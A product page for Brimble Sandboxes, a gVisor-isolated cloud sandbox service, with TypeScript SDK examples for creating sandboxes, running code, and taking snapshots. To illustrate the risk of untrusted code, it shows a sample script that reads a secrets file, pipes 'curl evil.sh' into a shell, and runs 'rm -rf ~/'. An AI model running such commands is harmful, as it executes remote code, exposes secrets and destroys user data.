Brimble Sandboxes

A throwaway computer in the cloud, ready in seconds.

Spin up an isolated environment with one API call. Run AI-generated code, untrusted scripts, or per-user workspaces — then pause, snapshot, or destroy. Built for real isolation and real speed, without sharing a kernel with your laptop.

Start building

Read the docs See sandbox pricing

Isolation: gVisor, a user-space kernel
Runtimes: NodePythonBunDeno
SDKs: TypeScriptPythonGo

sandbox · live

// quickstart.ts› const sandbox = await client.sandboxes.createReady({ template: "python-3.12" });→ sandbox sbx_a1b2c3d4  ready  iad-1 · 3.42s › await sandbox.exec({ cmd: "pip install anthropic" });Successfully installed anthropic-0.39.0→ exit 0  2.14s › await sandbox.runCode({ language: "python", code: "print(sum(range(10**6)))" });499999500000→ exit 0  0.18s › await sandbox.snapshots.create({ name: "agent-ready" });→ snapshot snap_e5f6g7  creating → ready  1.6s

● 4 ops · all greenpython-3.12 · iad-1total 7.34s

The shape of the problem

Running code you didn't write is harder than it looks.

$ python agent_script.pyreading ./secret_keys.envcurl evil.sh | shrm -rf ~/

01Untrusted code

You can't run someone else's code on your laptop.

Whether it's an AI agent writing scripts, a customer uploading code, or a third-party plugin, once it runs locally it has the same access you do. Mistakes, fork bombs, or worse.

VM · bootminutes

Container · kernelshared

02Wrong shape

VMs are slow. Containers leak.

VMs start in minutes and burn memory. Containers share a kernel with the host. Neither is the right tool for an environment you spin up, use once, and throw away.

session · adasandbox

session · tundesandbox

session · meisandbox

One environment per user, every session.

03Per-user scale

Every user wants their own environment.

Coding playgrounds, AI agent tools, evaluation harnesses: they all need fresh, isolated workspaces per session. Building that yourself means orchestration, security, scheduling, and a lot of pager calls.

Quickstart

Four lines to create one, two to run code in it.

Real SDK, real API. First-party clients for TypeScript, Python, and Go — or just call the REST endpoints from anywhere. Pick a template, get a ready sandbox, and start executing.

Installnpm install @brimble/sandbox

create-and-run.ts

1import { Sandbox } from "@brimble/sandbox";2 3const client = new Sandbox();4 5// 1. create a sandbox from a template6const sandbox = await client.sandboxes.createReady({7  template: "python-3.12",8  region: "auto",9  name: "agent-session",10});11 12// 2. run untrusted code inside it13const result = await sandbox.runCode({14  language: "python",15  code: "print(sum(range(10**6)))",16});17 18console.log(result.stdout); // "499999500000\n"19 20// 3. snapshot the filesystem, then clean up21await sandbox.snapshots.create({ name: "agent-ready" });22await sandbox.destroy();

Architecture

What runs under every sandbox.

One API call goes to the control plane, which schedules your sandbox onto a dedicated host inside its own gVisor shell, attaches its storage, and serves its preview URL.

What's in the box

Nine things you'd otherwise have to build yourself.

Isolation

Isolated by default, on a dedicated host pool.

Every sandbox runs under gVisor, a user-space kernel that sits between the code and the host. Your machine and your other apps never see what happens inside, and sandboxes live on a host pool that never runs production apps, so a noisy one can't slow anything else down.

agent-run-3f9anode 2

gVisorno host accessseparate pool

Sandbox pool · iad-1

node 1node 2node 3

No production apps run on this pool.

Lifecycle

Pause when idle, resume on demand.

Step away from a long session and compute billing stops. Resume tomorrow and pick up exactly where you left off.

build-agentPaused

Compute$0.00 / hr

runningpausednow

build-agentResumed

Picked up exactly where it left off.

Snapshots

Save state, clone it later.

Capture a sandbox's filesystem, then restore into a fresh sandbox. Hand off a setup, or skip configuration next time.

await sandbox.snapshots.create({  name: "ready-to-go"});

ready-to-goSnapshot

ready-to-go→sbx-91c

Networking

Block outbound traffic with one flag.

Sandboxes have normal network access by default. Turn egress off at create time when you're running something you don't fully trust.

blockOutbound: true

Preview URLs

Expose a port, get a URL.

Start a dev server inside a sandbox, expose its port, and get a preview URL you can open or share right away.

port 3000 → preview URL

Storage

Throwaway by default, persistent when you want.

Attach a 10–50 GB volume and your files outlive the sandbox, then mount the same volume on a new one when you need it back.

vol_4f9a · 25 GB · attached

Runtimes

Nine templates, pre-warmed.

Python, Node, Bun, Deno, Ubuntu, plus Claude Code, Codex, OpenCode, and Droid agent presets.

SDKs

TS, Python, Go, or REST.

Same API surface across all three first-party SDKs, or call the REST endpoints from any language.

Filesystem

Read and write files like you would locally.

putFile and getFile move bytes in and out. Pair with snapshots to ship environments to teammates.

putFile · getFile

Save state, skip the setup

Snapshots

Set a sandbox up exactly how you want it — packages installed, files in place, env wired up — then freeze that moment. New sandboxes boot from the frozen state in seconds. Hand one to a teammate, roll one back when something breaks, or fan out a hundred copies that all start where the work began.

Boot from where you left off — no more npm install loops
Hand a teammate the exact box — byte for byte, no setup notes
Rewind to a known-good state — before you touched anything risky
Fan out the same sandbox — one frozen state, many runners

snapshots.ts

// 1. Create a sandbox and set up your environment
const sandbox = await client.sandboxes.createReady({ template: "node-22" });
await sandbox.exec({ cmd: "npm install" });
await sandbox.exec({ cmd: "npm run build" });

// 2. Capture the configured state as a snapshot
const snap = await sandbox.snapshots.create({ name: "ready-to-go" });
console.log("snapshot ready:", snap.id);

// 3. Restore into a fresh sandbox
const fast = await client.sandboxes.createReady({ fromSnapshot: snap.id });

// 4. Or fan out: many parallel sandboxes from one snapshot
const workers = await Promise.all([
  client.sandboxes.createReady({ fromSnapshot: snap.id }),
  client.sandboxes.createReady({ fromSnapshot: snap.id }),
  client.sandboxes.createReady({ fromSnapshot: snap.id }),
]);